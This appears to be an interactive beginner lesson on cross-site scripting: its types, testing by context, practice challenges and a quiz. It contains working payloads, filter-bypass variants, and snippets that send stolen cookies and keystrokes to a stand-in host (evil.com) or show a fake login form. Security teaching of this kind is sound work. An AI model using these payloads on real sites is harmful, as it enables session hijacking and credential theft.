XSS Fundamentals

beginner25 minWriteup

Understanding cross-site scripting attacks and their impact

Learning Objectives

  • Understand what XSS is and its types
  • Learn how XSS attacks work
  • Understand the impact of XSS vulnerabilities
  • Identify XSS in web applications

When Websites Talk to Themselves (And They Shouldn't)

Picture this: you visit a website, and somehow that website runs code that wasn't supposed to be there. Maybe it steals your login session. Maybe it shows you a fake login page. Maybe it makes your browser do things you never asked for. That's Cross-Site Scripting, or XSS - one of the most common and misunderstood web vulnerabilities.

The name "Cross-Site Scripting" is actually terrible and confusing (it was named in the late 90s, give them a break). A better name would be "JavaScript Injection" because that's exactly what it is: injecting malicious JavaScript that runs in other users' browsers.

XSS has been in the OWASP Top 10 since forever. Despite being well understood, it remains extremely common because JavaScript is everywhere and escaping user input correctly is surprisingly hard.
XSS attacks run in the victim's browser, with their session, their cookies, their permissions. Always test responsibly and only on applications you own or have permission to test.

How XSS Actually Works

XSS happens when an application takes user input and puts it into a web page without properly sanitizing it. If the input contains JavaScript code, the browser happily executes it - because from the browser's perspective, it's just part of the page.

The Simplest Example

Imagine a search page that displays what you searched for:

html
1<!-- User searches for 606070;">#a5d6ff;">"laptops" -->
2<h2>Search results for: laptops</h2>
3 
4<!-- But what if they search for... -->
5<h2>Search results for: <script>alert(606070;">#a5d6ff;">'XSS!')</script></h2>
6 
7<!-- The browser sees a script tag and executes it!
8 An alert box pops up. That's XSS. -->

The alert() is just a proof of concept - it proves you can run JavaScript. A real attacker would do much worse.

Use responsibly
<script>alert('XSS')</script>

What Attackers Actually Do

javascript
1606070;">// Steal session cookies
2<script>
3 new Image().src = 606070;">#a5d6ff;">"https://evil.com/steal?cookie=" + document.cookie;
4</script>
5 
6606070;">// Redirect to phishing page
7<script>
8 window.location = 606070;">#a5d6ff;">"https://evil-site.com/fake-login";
9</script>
10 
11606070;">// Capture keystrokes
12<script>
13 document.onkeypress = function(e) {
14 new Image().src = 606070;">#a5d6ff;">"https://evil.com/log?key=" + e.key;
15 }
16</script>
17 
18606070;">// Modify the page to show fake content
19<script>
20 document.body.innerHTML = 606070;">#a5d6ff;">"<h1>Session expired. Please log in again.</h1>" +
21 606070;">#a5d6ff;">"<form action='https://evil.com/steal'>" +
22 606070;">#a5d6ff;">"<input name='user' placeholder='Username'>" +
23 606070;">#a5d6ff;">"<input name='pass' type='password' placeholder='Password'>" +
24 606070;">#a5d6ff;">"<button>Login</button></form>";
25</script>

The Three Types of XSS

XSS comes in three flavors, each with different characteristics:

1. Reflected XSS

The payload is in the URL and gets "reflected" back in the response. The victim must click a malicious link.

1606070;"># Attacker creates this URL:
2https:606070;">//shop.com/search?q=<script>alert('XSS')</script>
3 
4606070;"># The server responds with:
5<h2>Results for: <script>alert(606070;">#a5d6ff;">'XSS')</script></h2>
6 
7606070;"># The script runs in the victim's browser when they click the link

Attack vector: Attacker sends link via email, social media, or embeds it on another site.

2. Stored XSS

The payload is saved in the database and served to every user who views the affected page. Much more dangerous because it's persistent!

1606070;"># Attacker posts a comment on a blog:
2606070;">#a5d6ff;">"Great article! <script>stealCookies()</script>"
3 
4606070;"># The comment is saved to the database
5 
6606070;"># Now EVERY user who views that page executes the script!
7606070;"># The attacker doesn't need to send links - victims come to them.

Attack vector: Comment sections, user profiles, forum posts, any place where user content is stored and displayed.

3. DOM-Based XSS

The payload never reaches the server. Client-side JavaScript takes user input (often from the URL) and unsafely inserts it into the DOM.

javascript
1606070;">// Vulnerable JavaScript code on the page:
2let name = new URLSearchParams(window.location.search).get(606070;">#a5d6ff;">'name');
3document.getElementById(606070;">#a5d6ff;">'greeting').innerHTML = 'Hello, ' + name;
4 
5606070;">// Attacker URL:
6606070;">// https://site.com/page?name=<img src=x onerror=alert('XSS')>
7 
8606070;">// The JavaScript reads 'name' from URL and puts it into innerHTML
9606070;">// The server never saw the payload - it all happens in the browser!

Attack vector: Same as reflected, but harder to detect because server logs don't show the payload.

XSS Payload Collection

The classic <script>alert(1)</script> is often blocked. Here are alternatives:

Event Handler Payloads

These use HTML event attributes instead of script tags:

Use responsibly
<img src=x onerror=alert(1)>
Use responsibly
<svg onload=alert(1)>
Use responsibly
<body onload=alert(1)>
Use responsibly
<input onfocus=alert(1) autofocus>
Use responsibly
<marquee onstart=alert(1)>
Use responsibly
<video><source onerror=alert(1)>
onerror is particularly useful because you can trigger it reliably by pointing src to something that doesn't exist!

JavaScript Protocol

Use responsibly
<a href="javascript:alert(1)">Click me</a>
Use responsibly
<iframe src="javascript:alert(1)">

Filter Bypass Payloads

When basic payloads are blocked, try these:

html
1<!-- Case variation -->
2<ScRiPt>alert(1)</sCrIpT>
3 
4<!-- Encoding -->
5<img src=x onerror=&606070;">#97;&#108;&#101;&#114;&#116;(1)>
6 
7<!-- Double encoding -->
8<img src=x onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(1)>
9 
10<!-- Breaking up keywords -->
11<scr<script>ipt>alert(1)</scr</script>ipt>
12 
13<!-- Null bytes (older browsers) -->
14<scr%00ipt>alert(1)</script>
15 
16<!-- Using SVG -->
17<svg/onload=alert(1)>
18 
19<!-- Tab/newline breaking -->
20<img src=x on
21error=alert(1)>

Without Parentheses

Some filters block parentheses. These work around that:

Use responsibly
<img src=x onerror=alert`1`>
Use responsibly
<img src=x onerror=location='javascript:alert(1)'>

Finding XSS Vulnerabilities

Here's a systematic approach to finding XSS:

XSS Testing Methodology

1
Identify Input PointsFind everywhere user input is reflected: URL parameters, form fields, headers (User-Agent, Referer), cookies.
2
Determine ContextWhere does your input appear in the HTML? Inside a tag, inside an attribute, inside JavaScript? Context determines your payload.
3
Test with Harmless ProbeInsert <test>123</test> to see if HTML tags are rendered or escaped.
4
Check for EncodingAre special characters (< > " ') being encoded? Or are they appearing raw in the source?
5
Craft Context-Specific PayloadBased on where your input lands, use an appropriate payload.
6
EscalateOnce you have an alert(), prove impact with cookie theft or session hijacking.

Context Is Everything

Your payload depends on where your input appears in the HTML:

Inside HTML Body

html
1<!-- Your input appears like this: -->
2<div>Hello, [USER_INPUT]!</div>
3 
4<!-- Payload: Just use a script tag -->
5<div>Hello, <script>alert(1)</script>!</div>

Inside an HTML Attribute

html
1<!-- Your input appears like this: -->
2<input type=606070;">#a5d6ff;">"text" value="[USER_INPUT]">
3 
4<!-- Payload: Break out of the attribute first -->
5<input type=606070;">#a5d6ff;">"text" value=""><script>alert(1)</script>">
6 
7<!-- Or use an event without breaking out: -->
8<input type=606070;">#a5d6ff;">"text" value="" onfocus=alert(1) autofocus>

Inside JavaScript Code

html
1<!-- Your input appears inside a script: -->
2<script>
3 var name = 606070;">#a5d6ff;">"[USER_INPUT]";
4</script>
5 
6<!-- Payload: Close the string, add your code -->
7<script>
8 var name = 606070;">#a5d6ff;">""; alert(1); //";
9</script>
10 
11<!-- The 606070;">// comments out the rest of the line -->

Inside a URL

html
1<!-- Your input appears in an href: -->
2<a href=606070;">#a5d6ff;">"https://site.com/search?q=[USER_INPUT]">Link</a>
3 
4<!-- Payload: Use javascript: protocol -->
5<a href=606070;">#a5d6ff;">"javascript:alert(1)">Link</a>
6 
7<!-- Or break out and add events: -->
8<a href=606070;">#a5d6ff;">"" onclick=alert(1)>Link</a>

Practice: Craft Your Payload

XSS Payload Crafter
text

A website has a search feature. When you search for "test", the page shows: <h2>You searched for: test</h2> The input is being reflected directly in the HTML body without encoding. Write a payload that would execute JavaScript.

Break Out of the Attribute

Challenge
🌱 easy

A search page puts your input inside an input field: <input type="text" name="search" value="[YOUR_INPUT]"> The developers filter <script> tags but allow other HTML. Write a payload that executes JavaScript.

Need a hint? (4 available)

No Script, No Problem

Challenge
🔥 medium

A website filters the following: - <script> and </script> tags - The word "javascript" - onclick, onload, onerror Your input appears in the page body: <div class="content">[YOUR_INPUT]</div> Find a way to execute JavaScript despite these filters.

Need a hint? (4 available)

JavaScript Context Escape

Challenge
💀 hard

Your input ends up inside a JavaScript string: <script> var searchQuery = "[YOUR_INPUT]"; console.log("User searched for: " + searchQuery); </script> The developers escape single quotes but NOT double quotes or backslashes. Write a payload that executes alert(1).

Need a hint? (4 available)

XSS Fundamentals Quiz
Question 1 of 5

What does XSS stand for?

Key Takeaways

  • XSS lets attackers run JavaScript in victims' browsers
  • Three types: Reflected (in URL), Stored (in database), DOM-based (client-side)
  • Context matters: payloads differ based on where input appears in HTML
  • Many payloads exist: script tags, event handlers, javascript: protocol
  • Real attacks steal cookies, hijack sessions, or display fake content
  • Prevention: encode output, use Content Security Policy, validate input

Deep Dive into XSS